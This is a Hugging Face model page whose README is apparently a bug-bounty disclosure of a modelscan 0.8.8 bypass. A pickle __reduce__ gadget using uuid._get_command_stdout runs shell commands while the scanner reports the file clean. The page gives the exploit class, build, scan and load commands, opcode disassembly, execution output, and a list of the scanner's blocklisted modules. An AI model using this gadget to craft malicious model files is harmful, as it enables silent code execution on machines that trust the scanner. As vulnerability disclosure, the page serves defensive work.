Downloads · 30 days
0
EnigmaConsultant/huntr-poc-modelscan-uuid-command-stdout-gadget
huntr-poc-modelscan-uuid-command-stdout-gadget is a machine learning model from EnigmaConsultant. Use it for the machine learning task on the model card, and read the license before you ship it in a product.
modelscan 0.8.8 (latest) statically inspects pickle GLOBAL/STACKGLOBAL opcodes and flags a global only when its literal module string appears in the unsafeglobals blocklist (modelscan/settings.py). The blocklist cover…
Downloads · 30 days
0
Access
Public
Updated Jul 19, 2026
Repo size
91 B
Likes
0
Public
Click a slice to open those files.
.md4.2 KB · 62%
From the Hugging Face model README
uuid._get_command_stdout pickle reduce-gadget (RCE)modelscan 0.8.8 (latest) statically inspects pickle GLOBAL/STACK_GLOBAL opcodes
and flags a global only when its literal module string appears in the
unsafe_globals blocklist (modelscan/settings.py). The blocklist covers
os, posix, nt, subprocess, runpy, asyncio, socket, pty, shutil,
sys, pickle, bdb, pdb, a subset of builtins, and operator.attrgetter.
It does not cover the standard-library uuid module, which ships a helper
uuid._get_command_stdout(command, *args) that resolves command with
shutil.which() and then runs it via subprocess.Popen((executable, *args))
with a fully attacker-controlled argv. Used as a pickle __reduce__ target this
gives one-shot command execution that modelscan scans CLEAN, while
pickle.load / joblib.load / torch.load execute the command.
class Exploit:
def __reduce__(self):
return (uuid._get_command_stdout, ("sh", "-c", "id"))
_get_command_stdout("sh", "-c", "id") -> shutil.which("sh") ->
subprocess.Popen(("/usr/bin/sh", "-c", "id"), ...).
python3 build_poc.py # writes model.pkl
modelscan -p model.pkl # => "No issues found! 🎉" (exit 0)
python3 -c "import pickle; pickle.load(open('model.pkl','rb'))" # runs the command
modelscan -p model.pkl -> No issues found! 🎉, total_issues: 0 (see scan.json)pickle.load and joblib.load both execute the command.Blocklist-only (deny-list) detection. uuid._get_command_stdout is a
subprocess.Popen wrapper in a module the deny-list omits, so the malicious
global is invisible to the scanner.
Add uuid (and other stdlib subprocess/os wrappers) to unsafe_globals, or
move to an allow-list model that flags any global not on a vetted-safe list.
HIGH — scanner evasion enabling silent RCE in ML pipelines that rely on
modelscan to gate untrusted .pkl/.joblib/.bin model files.
pickletools.dis model.pkl) 11: \x8c SHORT_BINUNICODE 'uuid'
18: \x8c SHORT_BINUNICODE '_get_command_stdout'
40: \x93 STACK_GLOBAL
42: \x8c SHORT_BINUNICODE 'sh'
47: \x8c SHORT_BINUNICODE '-c'
52: \x8c SHORT_BINUNICODE 'id'
57: \x87 TUPLE3
59: R REDUCE
61: . STOP
The single global is uuid . _get_command_stdout, followed by TUPLE3 + REDUCE.
===== MODELSCAN 0.8.8 SCAN =====
Scanning .../model.pkl using modelscan.scanners.PickleUnsafeOpScan model scan
--- Summary ---
No issues found! 🎉
EXIT=0
JSON: {"summary": {"total_issues_by_severity": {"LOW":0,"MEDIUM":0,"HIGH":0,"CRITICAL":0}, "total_issues": 0, "modelscan_version": "0.8.8", "scanned": {"total_scanned": 1, "scanned_files": ["model.pkl"]}, "issues": [], "errors": []}
===== pickle.load =====
uid=1000(kali) gid=1000(kali) groups=1000(kali),4(adm),20(dialout),24(cdrom),...
PWNED_VIA_UUID_GADGET
===== joblib.load =====
uid=1000(kali) gid=1000(kali) groups=1000(kali),...
PWNED_VIA_UUID_GADGET
===== NEGATIVE CONTROL (benign pickle) =====
benign: no marker (correct)
No issues found! 🎉
uuid present in blocklist: False
uuid gadget is NEW: uuid is neither in the unsafe_globals blocklist
nor among the ~40 previously-filed modelscan reduce-gadgets (dataclasses,
spawnv_passfds, logging.config, doctest, codeop, marshal, pydoc,
numpy.ctypeslib, typing, inspect, code, cProfile, timeit,
operator.methodcaller+ctypes, etc.).uuid._get_command_stdout is a direct subprocess.Popen((exe, *args)) wrapper
with attacker-controlled argv — a clean one-shot exec target, distinct from
the string-eval / import-based gadgets in prior filings.